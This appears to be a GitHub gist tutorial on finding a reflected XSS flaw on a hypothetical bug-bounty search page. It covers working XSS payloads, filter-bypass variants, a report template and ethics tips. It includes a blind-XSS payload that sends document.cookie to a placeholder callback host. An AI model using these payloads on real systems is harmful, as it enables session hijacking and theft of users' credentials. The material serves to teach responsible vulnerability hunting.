Skip to content

Instantly share code, notes, and snippets.

@aw-junaid
Created November 19, 2025 02:21
Show Gist options
  • Select an option

  • Save aw-junaid/b9ac45ce134b2eece07e66931af56ed4 to your computer and use it in GitHub Desktop.

Select an option

Save aw-junaid/b9ac45ce134b2eece07e66931af56ed4 to your computer and use it in GitHub Desktop.
A Practical Walkthrough: Finding a Reflected XSS

A Practical Walkthrough: Finding a Reflected XSS

Let's imagine our target is a simple, hypothetical search page on a site like https://testbounty.example.com.


Step 1: Look for User Input Opportunities

You navigate the site and find a search feature at the top of the page. The URL looks like this after you search for "shoes": https://testbounty.example.com/search?query=shoes

The resulting page shows: "Your search for 'shoes' returned 25 results."

  • Analysis: The user input (shoes) is taken from the URL parameter query and is reflected directly back onto the page. This is a prime candidate for Reflected XSS.

Step 2: Insert XSS Payloads

Instead of "shoes," you start with simple, harmless test strings to see how the application handles your input.

  1. The Canary Test: First, try a simple string to confirm reflection.

    • Input: <test123>
    • URL: https://testbounty.example.com/search?query=<test123>
    • Result: The page shows: "Your search for '' returned 0 results."
    • Great! The angle brackets are not encoded, meaning the site might be vulnerable. The browser sees <test123> as an HTML tag (even though it's not a real one).
  2. A Basic Payload: Now, try a real, simple XSS payload.

    • Input: <script>alert(1)</script>
    • URL: https://testbounty.example.com/search?query=<script>alert(1)</script>
    • Result: The page shows the text, but no alert pops up. You right-click and "View Page Source" and see:
      <p>Your search for '<script>alert(1)</script>' returned 0 results.</p>
    • The server might be encoding the input, or a firewall (WAF) might be blocking it. The script tags are displayed as text, not executed.
  3. Bypass Attempt (Step 4): Let's try a different, more sneaky payload that doesn't use <script> tags. A common one uses an img tag with an onerror event.

    • Input: <img src=x onerror=alert(1)>
    • URL: https://testbounty.example.com/search?query=<img src=x onerror=alert(1)>
    • Result: An alert box pops up with "1"! Success! You've found an XSS vulnerability.

Why this worked: The application inserted our input directly into the HTML without escaping. The browser sees a valid <img> tag. It tries to load an image from src=x (which fails), and then automatically executes the JavaScript in the onerror attribute: alert(1).


Step 3: Confirm the Impact

You've already confirmed it visually—the alert(1) fired. This proves that an attacker could execute arbitrary JavaScript in the context of the victim's session on testbounty.example.com.

For a Blind XSS, you would use a payload that calls back to a server you control. A common tool for this is RequestBin or Burp Collaborator.

  • Payload: <img src=x onerror="fetch('https://your-unique-subdomain.requestcatcher.com/?cookie='+document.cookie)">
  • If the vulnerable application stores your input and an admin views it later, your server will receive a request containing their session cookies.

Step 4 & 5: Bypass Protections & Automate

You already did a simple bypass by switching from <script> to <img onerror>. If that hadn't worked, you'd try:

  • Case switching: <ImG oNeRrOr=alert(1)>
  • URL Encoding: %3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
  • Using other HTML tags: <svg onload=alert(1)>, <body onload=alert(1)>

Automation with tools like Burp Suite Scanner or custom scripts can help you fuzz hundreds of parameters with various payloads quickly, but it's crucial to understand the manual process first.


Step 6: Consider the Impact

This is critical for a good bug report.

  • Who does it target? A reflected XSS typically requires the victim to click a crafted link. An attacker could send it via email, chat, or a forum post.
  • How many users are affected? Anyone who uses the search function could be tricked. If the site has millions of users, the potential victim pool is large.
  • What can you achieve? With the ability to run JavaScript, an attacker can:
    • Steal the user's session cookies (document.cookie) and hijack their account.
    • Perform actions on behalf of the user (change email, make transactions).
    • Deface the website.
    • Redirect the user to a phishing page.
  • Escalate the attack? If the victim is an administrator, you could potentially steal their admin session and take over the application.

Step 7: Send Your First XSS Report

A good report is clear, concise, and demonstrates the problem. Here’s a template:

Subject: Reflected Cross-Site Scripting (XSS) on testbounty.example.com via query parameter

Vulnerability Type: Reflected Cross-Site Scripting (XSS) Target: https://testbounty.example.com Endpoint: https://testbounty.example.com/search Vulnerable Parameter: query Severity: [e.g., Medium/High - Use the program's guidelines]

Description: The search functionality on testbounty.example.com is vulnerable to a reflected Cross-Site Scripting attack. The query parameter value is reflected on the page without proper output encoding, allowing for the execution of arbitrary JavaScript in the victim's browser.

Steps to Reproduce:

  1. Visit the following URL in a modern web browser (e.g., Chrome, Firefox): https://testbounty.example.com/search?query=<img src=x onerror=alert(document.domain)>
  2. Upon page load, a JavaScript alert box will pop up displaying the document domain (testbounty.example.com).

Proof of Concept: [You can include a screenshot of the alert box here if the program allows it.]

Impact: An attacker can craft a malicious link and trick a user into clicking it. Upon clicking, the attacker's JavaScript code executes in the context of the victim's session, potentially allowing them to:

  • Hijack the user's session.
  • Perform unauthorized actions on the user's behalf.
  • Steal sensitive information from the page.

Remediation: Properly encode all user-controllable data before outputting it into the HTML page. Context-aware encoding (HTML attribute, HTML body, JavaScript) is recommended. A security-focused templating library can help automate this.


Final Pro-Tips for Your Hunt:

  • Start with the Big Ones: Look for bug bounty programs with a good reputation for responding to newcomers (e.g., programs on HackerOne or Bugcrowd that are marked as "good for beginners").
  • Read the Scope Carefully: Only test domains and applications that are in scope. Testing out-of-scope systems can get you banned.
  • Cause No Harm: Your goal is to prove the vulnerability exists, not to exploit it fully. Use alert(document.domain) instead of stealing real cookies. Do not attempt to deface sites or disrupt services.
  • Be Patient: Your first report might be a duplicate or be deemed out of scope. Learn from the feedback and keep hunting!
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment